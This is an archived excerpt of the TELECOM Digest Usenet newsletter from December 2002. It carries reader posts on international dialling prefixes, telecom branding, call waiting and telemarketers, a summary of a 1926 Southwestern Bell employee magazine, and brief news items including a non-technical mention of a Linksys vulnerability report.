dial, and for that they have to include the > international prefix. In other words, it is more important for people > to be able to GIVE their OWN numbers in a format that can be dialled > universally, than to avoid changing formats when you (physcially) > visit a different country. But there is *already* a way to show numbers without any confusion. Write numbers in the format that the ITU recommends i.e. +country code area code number e.g. +44 20 7654 3210 or +31 20 654 3210. If people are educated that + means put your international access code before the number there would be no ambiguity at all. I'd bet that most people in Europe and even in the UK know what this means. North Americans probably wouldn't know, but writing a number as +1 311 555 2368 would probably not confuse North Americans as they'd probably think that someone just ""meant"" to write it as 1-311-555-2368 which is an acceptable way to write the number. Replies are seldom read. Please reply in the group ------------------------------ From: John Higdon Subject: Re: The Farce of National Branding Organization: Green Hills and Cows Date: Wed, 11 Dec 2002 22:04:38 -0800 In article , George Mitchell wrote: > Certainly more true than it used to be, but there are still some brands > that mean something. The only example that comes to mind, offhand, is > Hershey. Even Hershey bought up a bunch of national brands that have no more distinction in that they are now merely part of the Hershey conglomerate. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ Date: Thu, 12 Dec 2002 02:07:30 EST From: TELECOM Digest Editor Subject: Southwestern Bell Telephone Magazine From 1926 From our Archives, an interesting article which first appeared in the Digest on August 18, 1993. This was an industry magazine from SWB Telephone Company in 1926. I hope you enjoy it. PAT To: comp-dcom-telecom@uunet.UU.NET Path: cats.ucsc.edu!haynes From: haynes@cats.ucsc.edu (Jim Haynes) Newsgroups: comp.dcom.telecom Subject: Telephony in 1926, Part 1 of ??? Date: 18 Aug 1993 06:19:46 GMT Organization: University of California, Santa Cruz Lines: 200 Message-Id: <24shm2INNhg9@darkstar.UCSC.EDU> Nntp-Posting-Host: hobbes.ucsc.edu Status: RO Organization: University of California; Santa Cruz I was recently given a copy of the Southwestern Bell employee magazine ""Southwestern Telephone News"", issue of October 1926, which was Volume 13, No. 10 and hence must have started publication about 1913. This article will be a summary of the contents; perhaps I'll type in or review particular articles later. The front cover shows a cable splicer hanging from a strand as he splices an underground cable to an aerial cable in Dallas. Repeated several times througout the issue is, ""New Long Distance rates and practices went into effect on October 1st. Pamphlets giving full information on these changes are available for all employees. Study the rates carefully so that you can answer the questions of subscribers."" I remember this attitude, that all employees should be prepared to represent the company to the public, was later embodied in a slogan, ""To the public _you_ are the telephone company,"" that was constantly presented to employees. On page 2 is a photograph of sheep with their heads in the grass, and an amusig caption: ""Sheep (Eating) In July, our explanation that the folks in the frontspiece were stacking wheat brought a protest from Kansas that they were not stacking but were shocking wheat. This time we take no chances. Grazing, as we remember, is the right term, but we are not sheepherders. (Texas panhandle, please note.)"" The first article is a bio of Charles P. Cooper, former president of Ohio Bell who was just elected vice-president of AT&T. Next there are five pages with pictures reporting on a Telephone Pioneers meeting in New York City. Among other activities they visited AT&T headquarters, Bell Labs, and New York Telephone headquarters and were greeted by executives of those companies. The highlight was an address by Thomas A. Watson, who told of his experiences as a colleague of Alexander Graham Bell. This was followed by a demonstration of talking movies, including one depicting the invention of the telephone and narrated by Watson. Then there is an article ""Efficient and Courteous"" by an anonymous ""counterman"". He tells of receiving a letter of commendation from a customer. Even though he had had to turn down the customer's request for service he had fully explained why there was a shortage of facilities in the customer's area, and the problems of the company in extending its lines. Then the medical director of AT&T writes to those who have just returned from vacations, urging them to use their spare time during the week as a ""vacation all year."" He suggests they get out of doors, do the essential chores, of course, but do something recreational. "" ... forget as far as possible that you ever worked for the Telephone Company."" The telephone exhibit at the Philadelphia Sesquicentennial Exposition is described, with a reminder that the telephone was first exhibited at the Centennial Exposition in Philadelphia 50 years earlier. The 1926 exhibit includes a showing of motion pictures, two of which are talking. One of these features Thomas A. Watson [and is presumably the same film that was shown to the Pioneers]; and the other ""contrasts the noisy operating room and crude apparatus of the eighties, when boys were operators, with the central office of the present."" I guess in those days AT&T stock was marketed through telephone offices, as there is an article about how an AT&T rights offering was handled. There are accounts of company employees persuading the public to buy stock, and also of people who threw away the rights documents, not realizing they had monetary value. There's a short item about telephone operators assisting when there was an explosion at a high school, and another showing the first installation of a P.A. system in a school, with switching so that music or voice can be had in any combination of rooms. Then there is the second part of an article reprinted from _Telephony_ by an operator, Manta J. Elder, about her experiences. There were annual floods when the Marais-des-Cygnes overran its banks near Ottawa, Kansas. Many operators lived across the river from the telephone office and had to cross the river in canoes and stay at the office so they would be available. Also severe winters when the streets were impassable to vehicles and the company sent horses to the residence of each operator to bring them to work. Sleet storms in February took lines down, so things were very quiet at the switchboard until service was restored; and then everybody wanted to use the telephone. She tells of working the last day at an old switchboard before cutover to a new one in a new office. ""The next day I went by the old office, and my feet naturally led me up the old stairway. If I had known that I should see the salvaging force at their work, I would never had have the courage to enter the old room. The board was already sadly wrecked. It seemed to me that I was looking upon something almost human, which was being made to suffer after years of patient and loving service to a public which now gives it no thought. ""As I walked on toward my home, I fell to thinking of the many and varied messages that had been carried through that old public servant. The first news of special interest to all people handled through its channels was the news of Admiral Dewey's victory at Manila Bay, which occurred about three weeks after the installation of the board. ""Service began on this old switchboard June 13, 1898, and except for one hour during President McKinley's funeral, until December, 1915, it was a living part of the community it so faithfully served."" She goes on to tell of the World War, and of the influenza epidemic. Says that in earlier times the telephone operators often complained that they were not appreciated by the public, but at the time of writing most people are truly appreciative of their services. A little of the history of the company, which was originally the Kansas City Telephone company, called the ""Home"" Company; at the time of abandonment of the old switchboard the ""Home"" and ""Bell"" companies were consolidated under the name of ""The Kansas Telephone Company"", in the spring of 1915. On January 1, 1926, the company was transferred to Southwestern Bell. Then there are three pages of managerial personnel changes, with some portraits. Then an article about formation of the Charles S. Gleed chapter of Telephone Pioneers in Kansas City, and an article about the switchboard in St. Louis being extremely busy in the aftermath of the St. Louis Cardinals winning the National League pennant. A page of short items: Clemenceau quoted on the need for technical experts to be aware of matters outside the scope of their expertise; a comment on the article by ""a counterman""; an article about the recent AT&T stock issue; and a repeat of the item about new long distance rates and practices. Four pages with pictures about Bell Telephone Laboratores, and some unrelated pictures of employees enjoying their summer vacations. Two pages about Texas beginning a new billing method: instead of billing all customers on the same day of the month they will spread the billing dates throughout the month to smooth out the workload. Two pages about handling mail in the headquarters mail room, the need for good addresses, and the problem of customers sending cash in the mail when paying their bills; an average of $15 a day is found in the mail room when the supervisor has to open inadequately addressed mail. Then a rather technical article, with schematic diagram, of a circuit to simplify cutting phantom transpositions. (When a phantom circuit is added to two existing circuits it is necessary to alter the way the wires are transposed on the poles. This must be done without interrupting service on the exiting circuits any longer than necessary.) Two pages of service records, including portraits of seven men who have worked a total of 185 years. One page about the ""first annual"" Watermelon Festival in Hope, AR. An article about keeping score on collection work; teams get points for minimizing the need to communicate with subscribers to get them to pay their bills. Photographs of the new Norman, OK office, and an open house for visitors. Suggestions for Halloween costumes (illustrations) and two pages of illustrations of ladies' fashion suggestions. A page of cartoons by ""Stack"", with a Halloween theme. Three pages telling where every construction crew is working and what jobs they are working on. Some photos, including a cable splicer and his helper with what appears to be a push cart containing their tools and supplies. A page with a map of the company's territory, showing the locations of all lost-time accidents for the year. Four pages of social news: parties, retirements, contests won, other activities. ""Anyone at St. Louis Toll who wants a thrill, should let Miss Hogan take them riding in her Ford. She misses other cars by a fender."" A page ""What I Did Today"" containing stories by operators of how they assisted the public. A page of poetry written by telephone people. Inside back cover, a list of the principal management officers of the company and their titles. Back cover, an AT&T advertisement. This one shows operators being delivered to their office in a truck in a howling blizzard; and the text tells how people take the telephone for granted, how different life would be without it, and how 300,000 telephone people work to maintain dependable service. haynes@cats.ucsc.edu haynes@cats.bitnet ""Ya can talk all ya wanna, but it's dif'rent than it was!"" ""No it aint! But ya gotta know the territory!"" Meredith Willson: ""The Music Man"" ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. 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Townson Vulnerability Report For Linksys Devices (Monty Solomon) Quick Prosecutions in Horse Racing Scam (Monty Solomon) Re: The Farce of National Branding (Paul Coxwell) Re: Portable ATM's an Invitation to Fraud? (Scott Dorsey) Determining Cell Phone System Coverage (Rick Wessman) Re: Call Waiting Prison and Telemarketers (Gordon S. Hlavenka) Ravings, was Re: Call Waiting Prison and Telemarketers (Joey Lindstrom) Re: 011+ From NANP vs. 00+ From Most of the World (Paul Coxwell) Re: George Gilder: Why I Trust ... (Dale Neiburg) NEC VOIP is Making a Good Impression (pbxman101@yahoo.com) Re: Ten TLD's (Ron Bean) Re: Study: Car Call Value Equals Crash Cost (Alan Burkitt-Gray) Re: Study: Car Call Value Equals Crash Cost (Paul Coxwell) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. 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The implementation of the embedded HTTP server presents several different exploitable vulnerabilities, some of them allow an unauthorized user to gain control of the appliance, some let an attacker reboot it, and some are of an unknown severity. http://www.corest.com/common/showdoc.php?idx=263&idxseccion=10 ------------------------------ Date: Thu, 12 Dec 2002 08:53:31 -0400 From: Monty Solomon Subject: Quick Prosecutions in Horse Racing Scam Quick Prosecutions in Horse Racing Scam By THE ASSOCIATED PRESS WHITE PLAINS, N.Y. (AP) -- With one guilty plea Wednesday and another expected, the prosecution of three college buddies is ending less than two months after suspicions were raised by a $3 million payoff at the Breeders' Cup. Glen DaSilva, a technology management consultant from New York, admitted in federal court Wednesday that he had made about $200,000 through two conspiracies: one that used bet-processing computers to alter wagers and one that duplicated other horse players' winning tickets. The three former fraternity brothers charged in the scheme were caught, DaSilva's lawyer said, because, ``These guys are amateurs. They're really not cut out for a life of crime.'' http://www.nytimes.com/aponline/sports/AP-RAC-Betting-Probe.html ------------------------------ From: PaulCoxwell@aol.com Date: Thu, 12 Dec 2002 09:08:56 EST Subject: Re: The Farce of National Branding > Brand names today are meaningless. Marketing types may think that the > public puts stock in brands, but more and more people are waking up to > the insignificance of brand names. When SBC runs a spot that talks > about how it built the local telephone network, we all laugh. The > network was built by the old AT&T, and then modernized by a California > company, Pacific Telesis. SBC simply handed over cash for a going > business. It built nothing. I do not credit Texans for doing anything > in California, unless it would be for our current state budget deficit > after cleaning our clock with energy scams. The same thing is happening here. I've seen references along the lines of how BT (British Telecom) ""built and developed"" the STD network in the 1960s. It must have been quite an achievement for them, seeing as BT didn't exist back then! Even the well-known London landmark, the Post Office Tower, was renamed the BT Tower. Paul Coxwell, Norfolk, U.K. [TELECOM Digest Editor's Note: Well that is similar also to here in the USA where Sprint bought United Telephone Company (or the other way around, who knows) then promptly declared they had 'more than a century of experience in telecommunications. United *did* have more than a century at being a telco, in the northern part of Kansas in many/most non-Bell areas, such as Junction City. Of course, Sprint did not bother to explain that little 'technicality' when they began their 'more than a century' advertising. PAT] ------------------------------ From: kludge@panix.com (Scott Dorsey) Subject: Re: Portable ATM's an Invitation to Fraud? Date: 12 Dec 2002 13:29:30 -0500 Organization: Former users of Netcom shell (1989-2000) Chris N Acuma wrote: > I SUSPECT THE ATM'S ARE EQUIPPED WITH EITHER CELL PHONES OR SOME OTHER > FORM OF RADIO GEAR TO ALLOW THEM TO VERIFY BANK BALANCES. > FIRST DOES ANYBODY KNOW HOW THESE PORTABLE ATM TALK TO THEIR REMOTE > COMPUTERS? > AND SECOND IF THEY USE RADIO WAVES I SUSPECT THATS AN OPEN INVITATION > FOR FRAUD. ANY COMMENTS ON THAT? These systems do indeed use standard modems operating over cellphones, with triple DES encryption, just like the normal modems used for wireline ATM machines. So, intercepting communications won't buy you any more than just tapping into the phone line of a wireline ATM, which is pretty much nothing. They are pretty secure. Unfortunately every time I have seen them used at festivals they had all sorts of mechanical problems, since the money dispensing mechanisms weren't really intended to withstand the kind of vibration that putting them on the road produces. scott ""C'est un Nagra. C'est suisse, et tres, tres precis."" ------------------------------ Subject: Determining Cell Phone System Coverage From: Rick Wessman Organization: Oracle Corporation, Redwood Shores, CA Date: 20 Mar 2002 08:26:10 -0500 We live near Rochester, NY and currently use Sprint PCS. The coverage is spotty, especially in more rural areas. We would like to switch to another service, but would like to make sure (at least as much as possible) that the coverage will be better. Is there some resource that lists the towers used by the various services? I'm hoping that that will help to tell us how good a service's coverage is. Thanks, Rick ------------------------------ Date: Thu, 12 Dec 2002 13:03:11 -0600 From: Gordon S. Hlavenka Organization: Crash Electronics, Inc. Subject: Re: Call Waiting Prison and Telemarketers Gail M. Hall wrote: > What is it about Call Waiting that seems to trap people into interrupting > EVERY CALL to deal with that other person??!!!! > If a call, even a local call is so important to you and you don't want > to interrupt it, then DON'T answer the other call if you have Call > Waiting! I can solve this problem with two words: ""Busy signal"" Any time Call Waiting kicks in on any call, it's obnoxious. Why should I pay extra to be annoyed? So I don't. If I'm on the phone when you call, you'll get a busy signal. An old-school, deprecated, luddite busy signal. If you need to take emergency calls, get a pager or voicemail. Call waiting is a pox on society. Gordon S. Hlavenka O- nospam@crashelex.com Burma! ------------------------------ From: Joey Lindstrom Date: Thu, 12 Dec 2002 11:29:13 -0700 Subject: Ravings, was Re: Call Waiting Prison and Telemarketers Reply-To: joey@lairdsflooring.com Gail M. Hall wrote: > What is it about Call Waiting that seems to trap people into interrupting > EVERY CALL to deal with that other person??!!!! > Can't you punch a key or something to cause the Call Waiting beeps to > stop and give the caller a busy signal so it would let you go on with > your long-distance calls uninterrupted? No. Yes, if you've initiated the call, there's a code you can punch in at the beginning of the call to turn off call-waiting. In this case, I had received the call. Any incoming calls would get ring incoming calls via call-waiting (ie: when a call is already in progress) so I didn't know who was calling -- but I WAS expecting one important call. My intention was to quickly take that call and inform them I'd call back, then resume my long-distance call (which my friend was paying for -- from the UK, in fact). > I've been on the paying end of long-distance calls, and INVARIABLY if > that other call beep comes in I get the ""Oh, there's another call > coming in. I'll be right back."" > I've even been on the non-paying end of the long-distance call, and > the same thing happens. The caller, paying for the minutes I am on > hold, is so trapped by that Call Waiting feature they seem to have no > choice! And what's the problem with waiting 30 seconds or less while someone informs their second caller that they'll call back? That's called courtesy, as opposed to just ignoring the caller and letting them assume I'm not at home and/or am ignoring them. > I agree with Joey that the bank's telemarketer did not handle this > call well at all. Any sales person should know not to argue with a > customer. Further, this girl initiated the arguing. > I suspect that the bank's sales caller does not actually work for the > bank but more likely works for some contractor that the bank has hired > to make marketing calls. I think a real bank sales person would not > have let things deteriorate so quickly. S/He could have offered to > call again at a more convenient time or offered to send information in > the mail about the offer. That's what our local KeyBank people do. Normally I would agree with you. However, I frequently call the CIBC's 1-800 number to do telephone banking and/or to make inquiries, and inevitably, at the conclusion of the call, when I'm done and am saying goodbye, the droid at the other end tries to get me to hang on the line while they sell me some new service. In other words, their regular phone staff are also trained to telemarket, so it would seem to me to be highly unlikely that the CIBC, having invested time and money into training THESE people to telemarket, would then choose to outsource their cold-calling telemarketing. But, of course, this is just speculation. > On the other hand, I think Joey should have said to her politely and > firmly that he was on another ""important"" call at the moment and not > mentioned the ""no call"" request at that moment. The idea is to > disconnect from the sales rep *as soon as possible* and GET BACK to > your interrupted call. I was both polite and firm when I interrupted her sales pitch with the words ""I do not accept telemarketing calls. Please add me to your do not call list"". The problem was that I could only ever get halfway through that statement before she would interrupt, in an almost shrieking tone, to deny she was a telemarketer. I remained both polite and firm throughout the call. Every time an opening presented, I began to repeat the entire phrase ""I do not accept telemarketing calls. Please add me to your do not call list"". Most people would have got the message: I am not responding to anything you say in your defence, I'm repeating my same line over and over -- it's USELESS to argue with me. This girl didn't figure that out. As to telling her I was on another important call, I see your point but I stand on principle: what I was doing at the moment her call came in is immaterial. Her call was not welcome and would profit neither her nor CIBC, and it wouldn't have mattered if I had just been sitting there staring at the phone or in the middle of the biggest business deal of the century or furiously masturbating. I shouldn't have to make excuses to put off somebody that I wouldn't talk to even if I didn't have an excuse. Come to think of it, that would be a REALLY funny thing to say to a telemarketer. ""Sorry, can't talk, I'm masturbating"". ROFLMAO! > Remember, too, that there are scammers out there who pretend to be > from your bank or phone company but really are not. So I would not > want to get mad at the bank or my phone company if they are victims of > a scam along with me. This girl had information that, presumably, only my bank should have had. > I hope Joey has not done too much damage to his reputation by sending > off that angry e-mail! I think he would have been better off to talk > to a local bank manager or representative that he KNOWS actually works > for the bank and tell them what happened. Then he can ask who in > authority at the bank he can write to (on paper with his own > signature) to tell what happened and ask for the change in the > call/no-call request. I have a better reputation with the CIBC than I probably do here. :-) And really, most people's dealings with their bank nowadays (for those who live in big cities that is - this wouldn't include folks like Pat who actually SEE their banker once in a while) is quite impersonal. When I call CIBC telebanking, I'm talking to someone in Montreal - a place that would take me about three and a half days of non-stop driving to visit (I'm in Calgary, a few hours north of Montana). The emailed reply I got from them came from a woman even further away, in Nova Scotia. I opened my bank account at my then-local branch 17 years ago -- I have since set foot in the place EXACTLY ONCE. Interestingly, it was to update the signature on my signature card -- it had changed a bit over the years and that caused a cheque I wrote to be dishonoured. So in terms of ""my reputation"" ... exactly who am I trying to impress? At worst, there mightb be a notation in a file somewhere saying that I'm a loud-mouth troublemaker, but for the most part I'm just another number in the system. If I were Pat, and had to deal with my banker IN PERSON on a regular basis, I might be more worried about ""my reputation"" vis-a-vis my relationship with the bank - certainly I'd have been a bit more diplomatic. I've found, though, that when dealing with a massive bureaucracy, it's the squeaky wheel that gets the grease. Being diplomatic, and using phrases like ""I am deeply concerned"" rather than ""I'm fed up!"" or ""I'm pissed off!"" tends to (and I'm paraphrasing George Carlin here) squeeze the life out of your language, making it dry and sterile and thus IGNORABLE. You may disagree, but my experience shows this to be true. > E-mail is not very secure. Giving out too much personal information > in e-mail is risky. That's why I think sending a paper letter would > be better. What I sent were the last 4-digits of each of my two credit cards, to confirm that I was who I said I was. I agree: email is insecure. Then Pat wrote: > I agree with Gail that Joey *should have* handled the call differently > but some telemarketers are so ignorant the only thing they understand > is a rough bark. As I said earlier, I never actually raised my voice or got weird with her. I just kept repeating my phrase like a mantra. Sorry I didn't make that more clear. > I had some calls a couple days ago like that. The > calls tripped the privacy manager condition, and 'pressing 1' to hear > the callers name got me some telemarketer's name and number. I chose > to respond by 'pressing 3' to have a pre-recorded message delivered to > the caller saying 'I do not take telemarketing calls, please remove > this number from your list'. I then hang up, and within about one > minute more or less the phone rang again. It was Privacy Manager > calling again, with the same person this time recording their 'name' > as 'I am not selling anything'. I figured what the heck, let's see > what the lady is doing if not selling anything. It turned out she > was 'taking a survey of long distance carriers' and offering a free > month of her carrier. After damning her to hell I slammed the phone > down again. Yeah, this is their latest trick. Even the door-to-door people are doing it. At the office I work at, we have a ""no soliciting"" sign on the door. Often, I see them walk up, see the sign, and carry on PAST our door. But a few just waltz right in. I usually stop them, with a SMILE, and say ""sorry, we're not interested, and we have a 'no soliciting' sign there on the door"" and I point towards it. It's not at eye-level so it can be missed, and often I'll get a ""oh, I'm terribly sorry, I didn't see the sign"" response and everything's cool. But sometimes I get the hot-shot who figures he can make the sale despite the roadblocks he faces, and that is their latest trick: to claim that they're not ""soliciting"". Why they bother, I have no idea: I've already made it clear that I'm absolutely not interested in whatever it is he's selling, and now he's pissed me off. Yeah, that's a good way to persuade people. :-) Anyways, what I do now is this: the very moment they claim they're not soliciting, I say ""hang on a sec"", reach behind me, and pull out a pre-printed page, and hand it to them. They read the following text: Definition Of ""Soliciting"" -------------------------- 1) To seek to obtain - by persuasion, entreaty, or formal application - trade or charity. 2) To petition persistently; importune. 3) To entice or incite to evil or illegal action. 4) To approach or accost (a person) with an offer of sexual services. If you are here for any of these purposes, we are not interested, thanks. I've handed out eight of these so far in the last year. Seven of them just sorta shrugged and walked out (and all seven of them took the sheet with them). An eighth guy, with enlarged testicles, again started the denial line about how he wasn't actually selling anything, he was just here to inform me of this, that, and the other. I interrupted him and said ""Yeah, but look at #2. You're petitioning me persistently, and you've importuned me"". I half expected him to ask me to define ""importune"" cuz he looked kinda puzzled. Then I guess he finally realized that even if he won the argument, he'd lost the war. He turned around and walked out the door. :-) Don't get me wrong: politeness works most of the time. It's the rat-bastards who won't take no for an answer that require stronger measures. :-) Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com [TELECOM Digest Editor's Note: The bank I use, although a branch of a larger operation -- Commerce Bank, N.A. really is a small town sort of operation. But next door to it is an even smaller bank, 'First National Bank of Independence'. They have six full time employees, which includes the branch of the bank in Elk City, Kansas. My branch bank, Commerce Bank, has seven or eight full time employees. It is not uncommon for people to stand around at the teller's line talking to the two ladies on duty there. They report to the cashier; she in turn reports to the manager as does the customer service person. I would *never* want to do business again with a giant bank like First National Bank of Chicago. I am *so glad* I got out of that town. Regards shaking off persistent solicitors: Just like in Chicago, the Jehovah Witness people here are persistent solicitors. An aquaintence of mine locally here has used that sexual innuendo line on the Jehovah people when they come to call. 'Pardon me, you wil have to excuse me; I am busy right now fu----- my wife.' (or masturbating, or getting fu---- by my boyfriend, etc). The first couple times the Witnesses heard that excuse, they apparently looked sort of askance. I guess it does not phase them any longer. I guess all it got my friend was a reputation as some sort of dreadful pervert and all the more in need of being converted/'saved'. In small towns you know, everyone talks to other people; even the Witnesses tell others in their church, etc, and their other friends. PAT] ------------------------------ From: PaulCoxwell@aol.com Date: Thu, 12 Dec 2002 09:09:10 EST Subject: Re: 011+ From NANP vs. 00+ From Most of World > Understandable, only if you consider the wild mishmash of > international prefix codes that USED to prevail across the world. A > consensus did emerge, and many countries - EVEN INCLUDING the UK! - > agreed to throw away their proprietary prefixes and implement the > proposed standard prefix. Only a few countries disagreed. The 19 > countries that Linc listed comprised most of them. Maybe I've missed an issue of the Digest somewhere, as I don't remember seeing such a post from Linc. ???? Still, 19 was used by France and its colonies/followers. 19 might seem an odd choice to telephone ""outsiders,"" but was quite logical by French standards at it fitted into their other 1x service codes (operator, directory, emergency). > Now to nit-pick ... there is no problem in the UK with Reading, as ALL > numbers in Reading are in the formats (0)118 3xx xxxx/(0)118 9nx xxxx > (where n#9) so as, according to WTNG - +83 and +89 are ""Unassigned"", > there cannot possibly be any conflict. I would have thought that Linc > (of all people) would have known that, and so would have chosen a more > appropriate example to quote - such as Leeds/Belgium (0113-2);-)) Reading numbers may at present be limited to 3xx and 9xx, but the whole point of expanding the local numbers to 7-digits was to increase capacity for the future. That means that within a few years we almost certainly *will* see other Reading prefixes. > Also, there has never been a UK number range 0119, nor is there any > scope to create one under what passes for UK current numbering policy! 0119 is a spare code at present, but there's no reason why it couldn't be adopted when the next growing city is forced to migrate to 7-digit numbering. All the codes 0113 thru 0118 have been allocated, so I wouldn't be surprised to see 0119 used in the not-too-dustant future. As for ""what passes for UK current numbering policy,"" I agree with your sentiments entirely. The mess that's been made of the network in the last few years is just incredible! > But there is one overriding reason for having standardisation and that > is the increasing use of the Internet. Web pages more commonly show > people complete numbers to dial, and for that they have to include the > international prefix. In other words, it is more important for people I take your point Richard, but there is already an accepted practice to indicate international numbers. You used it yourself at the bottom of your post (+44 29). > A ""good"" example of this occurred a few years ago - the time when the > dial-a-porn trade was advertising phoney phone numbers which suggested > that calls would route to Guyana (the callers were certainly CHARGED > at the rate for calls to Guyana). In most cases the people running > the scam expected their calls to come from the USA, and so numbers > were advertised on the webpages in the form ""011 592 5xxxxx"" - which > was, to say the least, unhelpful for callers outside the NANPA. > People in the UK saw webpages with these numbers, and started calling > the numbers exactly as shown -- unaware that this was not exactly the > providers' intention -- and so a small block of phone numbers serving > the Beeston area of Nottingham started to receive some very odd phone > calls ... at even odder hours of the day -- and night! I'd say that this was very unfortunate for the people in Nottingham who were disturbed by the calls, but I don't believe that national and international telephone networks should be forced into expensive and unnecessary changes just because a few sleaze merchants can't be bothered to advertise their number properly. Come to think of it, if so many people in the U.K. know that the IDDD prefix is now 00, why did so many dial 011 592 in the belief that they were calling Guyana? Better yet, how about the ITU commiting itself to ridding the world of this garbage once and for all? (Yes, different subject, I know!) Paul Coxwell Norfolk, U.K. ------------------------------ From: Dale Neiburg Subject: Re: George Gilder: Why I Trust Date: Thu, 12 Dec 2002 09:59:51 -0500 In TD V22 #177 was written: > George Gilder: Why I Trust Ken Lay > - Dec 23, 2002 12:00 AM (Forbes Magazine) > Why I trust the most disgraced chief executive more than I > do the most reputable public servant. I dunno ... but, George, I just **happen** to have some prime waterfront real estate in South Carolina, available at a sacrifice price if you act fast! ------------------------------ From: pbxman101@yahoo.com Subject: NEC VOIP is Making a Good Impression Reply-To: jcowing101@yahoo.com Date: Thu, 12 Dec 2002 15:34:29 GMT TELEPHONY/CTI VoIP shifts balance of power. New contact center technology introduces a different legacy... [more] A study in telephony evolution. A growing student body with an expanding campus complex demands converged IP telephony system. As the vice president for information systems and business services at St. Petersburg College in southwest Florida, Conferlete Carney is actively involved in the school's evolution. Since 1927, the two-year junior college has grown into a full-fledged, four-year academic institution, serving more than 17,000 students from 10 sites in the Tampa Bay area. Yet, the college's migration to four-year status is not the only evolutionary process Carney has witnessed. The college has begun a four-phase program to move from its traditional time-division multiplexing (TDM)-based telephony system into voice over Internet protocol (VoIP), an environment that delivers voice, data and video communications over a single converged network. ""Our decision,"" Carney says, ""was based on the physical layout of our 10 campuses, a major expansion at our Seminole site, the education-specific features that voice over IP can deliver and analyzing the management costs of using just one network to handle both voice and data traffic. We wanted to avoid further TDM investment."" The move to VoIP was motivated by a significant reduction in the time and money spent in adding, removing and changing phone numbers. ""Just the simplification of managing the voice network is enough reason to go to IP telephony. In a converged environment, a telephone can be plugged into the network anywhere on campus and keep the same phone number,"" explains Carney. The VoIP network also increases the school's capacity to handle future voice and data traffic, and facilitates several advanced applications it plans to integrate into its network. For example, unified messaging can deliver messages through multiple media simultaneously, including wireless, e-mail and traditional voice mail. Through another application-E911-campus security personnel are instantly notified, and can conference into the call whenever someone on campus calls a local 911 agency. Campus security then works with local police, fire and other emergency services so that an incident is addressed promptly and correctly. When evaluating each VoIP vendor, Carney and his staff weighed the interoperability factor, whether the VoIP platform would be able to operate reliably on the college's data network, comprised primarily of both Cisco and Extreme Networks routers and switches. ""We surmised that NEC's VoIP products were engineered to work in an open environment, which enables them to work successfully in virtually any infrastructure."" St. Petersburg College started the upgrade process by installing NEC's NEAX 2400 IPXs at three of its 10 sites, first deploying in strategic locations, such as remote offices and satellite facilities. Other locations are still using traditional circuit-switched telephony until the evolution is complete next year. ""The IPXs are unique in that they allow us to deploy both VoIP and TDM telephony, in any combination, where we need it,"" Carney says. ""As we bring more of our campus toward this converged environment, the IPXs enable us to deliver more VoIP without disrupting the network."" The next challenge was the migration of some 2,000 legacy telephones into IP telephony instruments, capable of handling both existing and future needs. ""With some VoIP telephones costing in the neighborhood of $700 per unit, a total replacement of our instruments was economically unrealistic,"" says Jeff Rohrs, telecommunications manager at the college. ""NEC provided us with IP adapters that plug into each phone, providing the IP connection for each unit, and they work just as well in TDM environments."" When it completes its evolution, St. Petersburg College will have a total VoIP network with IP telephones, soft phones that are installed on desktop and laptop computers, and wireless converged devices that deliver both voice and data connectivity enterprise-wide-without disrupting the current communications system. For more information from NEC: www.rsleads.com/212cn-256 ------------------------------ Date: Thu, 12 Dec 2002 10:14:51 -0600 From: Ron Bean Subject: Re: Ten TLD's hes@hes01.unity.ncsu.edu (Henry E Schaffer) writes: > There really has been a rush to use .com - someone mentioned that it > is the default used by some browsers - and the general public seems to > be convinced that it is necessary. Maybe we need to start some new 2nd-level domains: .gov.com .org.com .edu.com etc ... Just kidding (I think) ... ------------------------------ From: Alan Burkitt-Gray Subject: Re: Study: Car Call Value Equals Crash Cost Date: Thu, 12 Dec 2002 10:16:01 -0000 Bob Goudreau wrote: ""~1.5 fatalities per 100 million vehicle miles traveled. Curiously, this is almost exactly the same rate as found in the United Kingdom, which I understand has laws banning the use of handheld mobiles while driving."" No, we don't. Often suggested, but never implemented. Alan B-G Alan Burkitt-Gray Editor, Global Telecoms Business Euromoney Institutional Investor plc, Nestor House, Playhouse Yard, London EC4V 5EX, UK tel +44 20 7779 8518 fax +44 20 7779 8492 e-mail aburkitt@euromoneyplc.com www.globaltelecomsbusiness.com ------------------------------ From: PaulCoxwell@aol.com Date: Thu, 12 Dec 2002 09:09:01 EST Subject: Re: Study: Car Call Value Equals Crash Cost > traveled. Curiously, this is almost exactly the same rate as found in > the United Kingdom, which I understand has laws banning the use of > handheld mobiles while driving. There have been proposals to make such use illegal here, but so far as I am aware there is no actual law against it as yet. Personally, I don't think we need such a law. We already have laws relating to ""driving without due care and attention,"" which could be applied if someone was clearly paying more attention to his phone than the road. It comes down to a matter of common sense: Use the mobile phone only when road conditions mean that you can do so safely. Paul Coxwell, Norfolk, U.K. ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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Townson Local Phone Service Inquiry by Reporter (Barbara Correa) In a Roundabout Way (Joey Lindstrom) WiFi Publication For Hotspot Owners (A Nicholas) Re: Avaya IP Office 406 Issues (This Old Man) Re: 011+ From NANP vs. 00+ From Most of World (PaulCoxwell@aol.com) Re: 011+ From NANP vs. 00+ From Most of World (Richard D G Cox) Re: The Farce of National Branding (Barry Margolin) Re: The Farce of National Branding (Steven J. Sobol) Re: The Farce of National Branding (Reed) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 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Thanks, Barbara Correa (barbara.correa@dailynews.com) ------------------------------ From: Joey Lindstrom Date: Thu, 12 Dec 2002 13:31:37 -0700 Subject: In a Roundabout Way Reply-To: joey@lairdsflooring.com PaulCoxwell@aol.com 